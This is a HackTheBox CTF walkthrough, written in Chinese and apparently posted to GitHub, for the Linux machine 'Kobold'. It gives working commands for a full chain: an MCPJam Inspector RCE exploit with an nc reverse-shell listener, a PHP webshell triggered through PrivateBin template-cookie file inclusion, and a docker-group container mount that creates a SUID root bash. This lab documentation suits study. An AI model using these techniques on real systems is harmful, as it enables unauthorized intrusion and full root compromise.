ledksv/kobold

GitHub: ledksv/kobold

这是一份 HackTheBox Medium 难度 Linux 靶机 Kobold 的完整通关笔记,涵盖 CVE-2026-23744 RCE、PrivateBin LFI 横向移动和 Docker 组提权至 root 的完整攻击链。

Stars: 0 | Forks: 0

# Kobold — HackTheBox **平台:** HackTheBox | **难度:** Medium | **操作系统:** Linux **标签:** `CVE-2026-23744` `MCPJam` `PrivateBin LFI` `Docker Escape` `SUID` ## 目录 1. [信息收集](#1-enumeration) 2. [初始立足点 — 以 ben 身份 RCE (CVE-2026-23744)](#2-initial-foothold--rce-as-ben-cve-2026-23744) 3. [权限提升 — 通过 PrivateBin LFI 提升至 www-data](#3-privilege-escalation--www-data-via-privatebin-lfi) 4. [权限提升 — 通过 Docker 组逃逸提权至 root](#4-privilege-escalation--root-via-docker-group-escape) 5. [Flags](#5-flags) ## 1. 信息收集 ### Nmap ``` nmap -sV -sC 10.129.54.83 -Pn -p- ``` **开放端口:** | 端口 | 服务 | |------|---------| | 22 | OpenSSH 9.6p1 | | 80 | nginx 1.24.0 — 重定向至 HTTPS | | 443 | nginx 1.24.0 — Kobold Operations Suite。TLS 证书涵盖 `kobold.htb` 和 `*.kobold.htb` | | 3552 | Golang HTTP — Arcane v1.13.0 登录面板 | 将子域添加至 `/etc/hosts`: ``` 10.129.54.83 kobold.htb bin.kobold.htb mcp.kobold.htb ``` ### 子域枚举 ``` ffuf -u https://kobold.htb -H 'Host: FUZZ.kobold.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -k -t 50 -ac ``` **发现结果:** | 子域 | 服务 | |-----------|---------| | `mcp.kobold.htb` | MCPJam Inspector v1.4.2 | | `bin.kobold.htb` | PrivateBin 实例 | ## 2. 初始立足点 — 以 ben 身份 RCE (CVE-2026-23744) MCPJam Inspector v1.4.2 存在漏洞,允许通过向 `/api/mcp/connect` 发送恶意的 MCP 服务器配置来实现未经身份验证的 RCE。该 Inspector 会在未经任何身份验证检查的情况下获取并执行攻击者控制的配置。 ``` git clone https://github.com/FrenzisRed/CVE-2026-23744.git python3 cve-2026-23744.py --target https://mcp.kobold.htb --att-ip YOUR_IP --att-p 4444 ``` ``` nc -lvnp 4444 ``` 稳定 Shell: ``` python3 -c 'import pty;pty.spawn("/bin/bash")' ``` ``` cat /home/ben/user.txt ``` ## 3. 权限提升 — 通过 PrivateBin LFI 提升至 www-data ### 发现 以 `ben` 身份浏览文件系统时发现了 `/privatebin-data/` 目录,其中包含子目录 `certs/`、`cfg/` 和 `data/`。`data/` 目录具有全局可写权限,并且可以通过 `ben` 所属的 `operator` 组进行访问。 位于 `bin.kobold.htb` 的 PrivateBin 应用接受一个 `template` Cookie,该 Cookie 被直接传递给文件包含函数。其路径是相对于 `tpl/` 解析的,允许目录遍历至 `data/` 目录。 ### 漏洞利用 将一个 PHP Webshell 写入可写的 data 目录中(在目标主机上以 `ben` 身份执行): ``` echo '' > /privatebin-data/data/rce1.php ``` 通过攻击机上的 template Cookie 触发文件包含: ``` curl -s -k "https://bin.kobold.htb/" \ -H "Cookie: template=../data/rce1" \ --get --data-urlencode "cmd=id" ``` ## 4. 权限提升 — 通过 Docker 组逃逸提权至 root ### 发现 以 `ben` 身份运行 LinPEAS 发现了一个关键信息: ``` Accessible group not shown in id: docker (gid=111) ``` `ben` 是 `/etc/group` 中 `docker` 组的成员,但该组在当前会话中并未激活。使用 `newgrp` 切换至该组无需密码。 ### 激活 Docker 组 ``` newgrp docker id # uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben) ``` 目标主机没有互联网访问权限,但本地已经拉取了 PrivateBin 镜像: ``` docker ps # privatebin/nginx-fpm-alpine:2.0.2 ``` ### 通过容器挂载获取 SUID Bash 将主机文件系统挂载到一个以 root 权限运行的特权容器中,复制 bash 并设置 SUID 位: ``` docker run -v /:/mnt --rm --privileged --user 0 \ --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 \ -c "cp /mnt/bin/bash /mnt/tmp/rootbash && \ chown root:root /mnt/tmp/rootbash && \ chmod 4755 /mnt/tmp/rootbash" ``` 在保留权限的情况下执行 SUID bash: ``` /tmp/rootbash -p whoami # root ``` ## 5. Flags | Flag | Hash | |------|------| | User | `redacted` | | Root | `redacted` | ### 攻击链 1. 子域枚举 → `mcp.kobold.htb` (MCPJam Inspector) 和 `bin.kobold.htb` (PrivateBin) 2. 针对 MCPJam Inspector 利用 CVE-2026-23744 → 以 `ben` 身份实现 RCE 3. 全局可写的 `/privatebin-data/data/` + `template` Cookie LFI → 以 `www-data` 身份实现 RCE 4. LinPEAS 枚举 → 发现 `ben` 在 `docker` 组中 → 执行 `newgrp docker` → 挂载主机 + SUID bash → 提升至 root *仅供教育目的。请仅在您拥有或已获得明确书面授权的测试系统上进行操作。*
标签:CISA项目, CSV导出, CTF攻略, CTI, CVE-2026-23744, Docker逃逸, Golang, HackTheBox, LFI, Linux提权, MCPJam, Nginx, Nmap, PrivateBin, RCE, SUID提权, Web安全, 协议分析, 子域名枚举, 安全编程, 容器提权, 本地文件包含, 权限提升, 漏洞复现, 系统安全, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 靶机Writeup